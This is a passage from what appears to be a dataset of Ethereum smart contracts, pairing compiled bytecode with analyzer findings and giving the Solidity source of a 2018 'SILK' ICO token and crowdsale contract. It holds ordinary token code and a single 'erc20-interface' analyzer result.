ffffffffffffffffffffffffffffffffffff169060200190929190505050610d29565b604051808215151515815260200191505060405180910390f35b34801561032157600080fd5b50610380600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d49565b604051808215151515815260200191505060405180910390f35b3480156103a657600080fd5b506104086004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610e76565b604051808215151515815260200191505060405180910390f35b34801561042e57600080fd5b50610437610f16565b604051808260ff1660ff16815260200191505060405180910390f35b34801561045f57600080fd5b50610494600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f29565b6040518082815260200191505060405180910390f35b3480156104b657600080fd5b506104f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f41565b604051808215151515815260200191505060405180910390f35b34801561051b57600080fd5b5061053a600480360381019080803590602001909291905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561056057600080fd5b50610595600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ff565b6040518082815260200191505060405180910390f35b3480156105b757600080fd5b506105f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611217565b005b34801561060457600080fd5b50610643600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611388565b604051808215151515815260200191505060405180910390f35b34801561066957600080fd5b506106b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506115a2565b604051808215151515815260200191505060405180910390f35b3480156106d857600080fd5b506106e16117f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072f57600080fd5b50610738611817565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077857808201518184015260208101905061075d565b50505050905090810190601f1680156107a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107bf57600080fd5b5061081e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118b5565b005b34801561082c57600080fd5b506108cd600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611920565b005b3480156108db57600080fd5b50610910600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ad565b6040518082815260200191505060405180910390f35b34801561093257600080fd5b50610971600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119c5565b005b34801561097f57600080fd5b5061099e600480360381019080803590602001909291905050506119d4565b604051808215151515815260200191505060405180910390f35b3480156109c457600080fd5b506109f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b4c565b604051808215151515815260200191505060405180910390f35b348015610a1f57600080fd5b50610aa4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611b6c565b604051808215151515815260200191505060405180910390f35b348015610aca57600080fd5b50610b1f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cef565b6040518082815260200191505060405180910390f35b348015610b4157600080fd5b50610b82600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611d14565b005b348015610b9057600080fd5b50610b99611e39565b6040518082815260200191505060405180910390f35b348015610bbb57600080fd5b50610bf0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e3f565b005b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c885780601f10610c5d57610100808354040283529160200191610c88565b820191906000526020600020905b815481529060010190602001808311610c6b57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60085481565b60045481565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dd657600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610e6b848484611edd565b600190509392505050565b600080600084519150600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482850211151515610ecf57600080fd5b600090505b81811015610f0a57610efd8582815181101515610eed57fe5b90602001906020020151856119c5565b8080600101915050610ed4565b60019250505092915050565b600360009054906101000a900460ff1681565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9e57600080fd5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fec57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fe4eb7b10c3fadeb517b2c52a32eaf0309e4d2a2d04d8f3d711a97045998d8d848383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001905092915050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561114b57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127257600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113d857600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561146357600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ff57600080fd5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561164d57600080fd5b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561169b57600080fd5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550814201600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f2d814308d70a2c356e04b9495a463b35b22563f541e00d2dad99471d284966128484844201604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118ad5780601f10611882576101008083540402835291602001916118ad565b820191906000526020600020905b81548152906001019060200180831161189057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561191057600080fd5b61191b838383611edd565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197b57600080fd5b81600190805190602001906119919291906123da565b5080600290805190602001906119a89291906123da565b505050565b600a6020528060005260406000206000915090505481565b6119d0338383611edd565b5050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a2457600080fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210151515611a7257600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fe57b847e05a754e2f7267c32d931fb1c063de32ca355da7b9dd85db467a8143f826040518082815260200191505060405180910390a160019050919050565b60096020528060005260406000206000915054906101000a900460ff1681565b600080849050611b7c8585610c90565b15611ce6578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c76578082015181840152602081019050611c5b565b50505050905090810190601f168015611ca35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611cc557600080fd5b505af1158015611cd9573d6000803e3d6000fd5b5050505060019150611ce7565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d6f57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611f0357600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611f5157600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515611fe057600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561203957600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561209257600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008114801561218c575060001515600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156121e557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561221d57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612230575060026008540260075410155b80156122a15750600260085402600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15612370576001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061232c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600854611edd565b61235a6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600854611edd565b6002600854026007600082825403925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061241b57805160ff1916838001178555612449565b82800160010185558215612449579182015b8281111561244857825182559160200191906001019061242d565b5b509050612456919061245a565b5090565b61247c91905b80821115612478576000816000905550600101612460565b5090565b905600a165627a7a72305820c95168a59589d2e7a4c49aa5db9aaa02c57545c8cc4b5db3e76ba2f644b3e5550029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 686 |
0x1223ec43aa16ee488e3d9bfe669494f3fd0a2e67 | /*! silkroad.sol | (c) 2018 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | License: MIT */
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
constructor() public {
owner = msg.sender;
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) public returns(bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public {
require(_to != address(0));
require(address(this).balance >= _value);
_to.transfer(_value);
}
function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public {
require(_token.transfer(_to, _value));
}
function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public {
require(_token.transferFrom(_from, _to, _value));
}
function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public {
require(_token.approve(_spender, _value));
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Manageable is Ownable {
address[] public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(isManager(msg.sender)); _; }
function countManagers() view public returns(uint) {
return managers.length;
}
function getManagers() view public returns(address[]) {
return managers;
}
function isManager(address _manager) view public returns(bool) {
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
return true;
}
}
return false;
}
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
require(!isManager(_manager));
managers.push(_manager);
emit ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(isManager(_manager));
uint index = 0;
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
index = i;
}
}
for(; index < managers.length - 1; index++) {
managers[index] = managers[index + 1];
}
managers.length--;
emit ManagerRemoved(_manager);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Repayment(address indexed from, uint256 time, uint256 amount);
event Reward(address indexed to, uint256 time, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.01 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
emit Repayment(msg.sender, now, msg.value);
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount.mul(balances[_to]).div(totalSupply_)) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum = sum.add(amount);
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, now, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function availableReward(address _to) public view returns(uint256 value) {
if(rewards[_to].length < repayments.length && balances[_to] > 0) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
sum = sum.add(repayments[i].amount.mul(balances[_to]).div(totalSupply_));
}
return sum;
}
return 0;
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
/*
ICO Silkroadmining
*/
contract Token is CappedToken, BurnableToken, RewardToken, Withdrawable {
constructor() CappedToken(1000000 * 1e8) StandardToken("SILK", "SILK", 8) public {
}
}
contract Crowdsale is Manageable, Withdrawable, Pausable {
using SafeMath for uint;
Token public token;
bool public crowdsaleClosed = false;
event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount);
event CrowdsaleClose();
constructor() public {
token = new Token();
addManager(0x915c517cB57fAB7C532262cB9f109C875bEd7d18);
}
function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public {
token.mint(_to, _tokens);
emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens);
}
function closeCrowdsale(address _to) onlyOwner public {
require(!crowdsaleClosed);
token.finishMinting();
token.transferOwnership(_to);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
} | 0x6080604052600436106101665763ffffffff60e060020a60003504166305d2035b811461016b578063066fd8991461019457806306fdde03146101c7578063095ea7b31461025157806317cd802d1461027557806318160ddd1461027f5780631e89d54514610294578063228cb7331461032257806323b872dd14610337578063313ce56714610361578063355274ea1461038c57806340c10f19146103a157806342966c68146103c5578063522f6815146103dd57806366188463146104015780636cf7ccac1461042557806370a0823114610455578063715018a614610476578063757b8cf41461048b57806379cc6790146104b55780637d64bcb4146104d95780638da5cb5b146104ee57806395d89b411461051f578063a85f376114610534578063a9059cbb14610565578063b933ceac14610589578063d73dd623146105ad578063dd62ed3e146105d1578063f0595dd1146105f8578063f2fde38b14610622575b600080fd5b34801561017757600080fd5b50610180610643565b604080519115158252519081900360200190f35b3480156101a057600080fd5b506101b5600160a060020a0360043516610664565b60408051918252519081900360200190f35b3480156101d357600080fd5b506101dc610762565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102165781810151838201526020016101fe565b50505050905090810190601f1680156102435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025d57600080fd5b50610180600160a060020a03600435166024356107ef565b61027d610856565b005b34801561028b57600080fd5b506101b5610936565b3480156102a057600080fd5b506040805160206004803580820135838102808601850190965280855261018095369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061093c9650505050505050565b34801561032e57600080fd5b506101806109a7565b34801561034357600080fd5b50610180600160a060020a03600435811690602435166044356109b7565b34801561036d57600080fd5b506103766109e0565b6040805160ff9092168252519081900360200190f35b34801561039857600080fd5b506101b56109e9565b3480156103ad57600080fd5b50610180600160a060020a03600435166024356109ef565b3480156103d157600080fd5b5061027d600435610a25565b3480156103e957600080fd5b5061027d600160a060020a0360043516602435610a32565b34801561040d57600080fd5b50610180600160a060020a0360043516602435610aa7565b34801561043157600080fd5b5061027d600160a060020a0360043581169060243581169060443516606435610b97565b34801561046157600080fd5b506101b5600160a060020a0360043516610c5f565b34801561048257600080fd5b5061027d610c7a565b34801561049757600080fd5b5061027d600160a060020a0360043581169060243516604435610ce8565b3480156104c157600080fd5b5061027d600160a060020a0360043516602435610d99565b3480156104e557600080fd5b50610180610e2f565b3480156104fa57600080fd5b50610503610ed5565b60408051600160a060020a039092168252519081900360200190f35b34801561052b57600080fd5b506101dc610ee4565b34801561054057600080fd5b5061054c600435610f3c565b6040805192835260208301919091528051918290030190f35b34801561057157600080fd5b50610180600160a060020a0360043516602435610f68565b34801561059557600080fd5b5061054c600160a060020a0360043516602435610f88565b3480156105b957600080fd5b50610180600160a060020a0360043516602435610fc3565b3480156105dd57600080fd5b506101b5600160a060020a036004358116906024351661105c565b34801561060457600080fd5b5061027d600160a060020a0360043581169060243516604435611087565b34801561062e57600080fd5b5061027d600160a060020a0360043516611101565b60065474010000000000000000000000000000000000000000900460ff1681565b600854600160a060020a0382166000908152600960205260408120549091829182911180156106a95750600160a060020a038416600090815260046020526040812054115b15610756575050600160a060020a0382166000908152600960205260408120545b60085481101561074e5760008054600160a060020a03861682526004602052604090912054600880546107449361073793909261072b928790811061070b57fe5b90600052602060002090600202016001015461112190919063ffffffff16565b9063ffffffff61114a16565b839063ffffffff61115f16565b91506001016106ca565b81925061075b565b600092505b5050919050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600654600160a060020a0316331461086d57600080fd5b662386f26fc1000034101561088157600080fd5b604080518082018252428082523460208084018281526008805460018101825560009190915294517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3600290960295860155517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee490940193909355835191825291810191909152815133927f24fcca58a997b1b2eff6db8107e860458544c09ddd3693b3b779e1df6c0d6c5d928290030190a2565b60005490565b6000808251845114151561094f57600080fd5b5060005b835181101561099d57610994848281518110151561096d57fe5b90602001906020020151848381518110151561098557fe5b90602001906020020151610f68565b50600101610953565b5060019392505050565b60006109b23361116c565b905090565b60006109c28461116c565b506109cc8361116c565b506109d884848461131f565b949350505050565b60035460ff1681565b60075481565b6000600754610a098360005461115f90919063ffffffff16565b1115610a1457600080fd5b610a1e8383611486565b9392505050565b610a2f3382611590565b50565b600654600160a060020a03163314610a4957600080fd5b600160a060020a0382161515610a5e57600080fd5b3031811115610a6c57600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610aa2573d6000803e3d6000fd5b505050565b336000908152600560209081526040808320600160a060020a038616845290915281205480831115610afc57336000908152600560209081526040808320600160a060020a0388168452909152812055610b31565b610b0c818463ffffffff61168016565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600654600160a060020a03163314610bae57600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301528481166024830152604482018490529151918616916323b872dd916064808201926020929091908290030181600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b50511515610c5957600080f